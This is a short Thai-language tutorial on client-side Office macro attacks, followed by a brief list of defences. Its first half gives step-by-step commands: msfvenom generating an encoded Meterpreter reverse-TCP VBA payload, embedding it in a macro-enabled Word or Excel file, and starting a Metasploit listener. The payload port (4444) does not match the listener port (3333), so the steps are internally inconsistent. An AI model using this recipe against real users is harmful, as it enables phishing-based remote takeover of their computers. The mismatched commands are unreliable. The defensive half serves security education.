การโจมตีโดยใช้ Office Macro Microsoft Office ใช้ Visual Basic for Applications (VBA) ซึ่งสามารถใช้สำหรับการโจมตีได้:

1. สร้าง macro script ด้วย Metasploit:
   

   bash

   Copy code

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -e x86/shikata_ga_nai -f vba-psh > macro.txt

2. สร้างเอกสาร Word หรือ Excel และเพิ่ม macro script ลงไป:
   • ใช้ Tools -> Macro -> Macros เพื่อนำ script จาก macro.txt ไปใส่
   • บันทึกไฟล์เป็น “Macro-Enabled Document” (.docm หรือ .xlsm)
3. สร้าง Listener ใน Metasploit:
   

   shell

   Copy code

   msfconsole


   msf> use exploit/multi/handler


   msf> set payload windows/meterpreter/reverse_tcp


   msf> set lhost 192.168.1.2
msf> set lport 3333
msf> exploit


วิธีการป้องกัน

1. ไม่เปิดไฟล์หรือลิงก์จากแหล่งที่ไม่รู้จัก: ระวังการเปิดไฟล์หรือคลิกลิงก์จากผู้ที่ไม่รู้จัก
2. อัปเดตแอปพลิเคชันให้เป็นเวอร์ชันล่าสุด: เพื่อป้องกันช่องโหว่ที่อาจถูกโจมตี
3. ตั้งค่าความปลอดภัยของแอปพลิเคชัน: เช่น การปิดการใช้งาน macro ใน Microsoft Office
4. ใช้ Browser ในการเปิดไฟล์ PDF: Firefox และ Google Chrome สามารถแสดงผลไฟล์ PDF ได้ ลดโอกาสการโจมตีไปยัง PDF Reader

เครื่องมือป้องกันฝั่ง Client

1. Antivirus: ตรวจจับ malware ด้วย Blacklist และเทคนิคอื่นๆ
2. Endpoint Protection Platform (EPP): ใช้ Whitelist สำหรับการป้องกันและตรวจจับพฤติกรรมของ malware
3. Endpoint Detection Platform (EDP): เก็บข้อมูลและ log สำหรับการวิเคราะห์พฤติกรรมผิดปกติ และช่วยในการทำ Digital Forensic

การป้องกัน Client Side Exploitation ต้องใช้ความระมัดระวังและเครื่องมือป้องกันที่เหมาะสมเพื่อปกป้องระบบจากการโจมตี.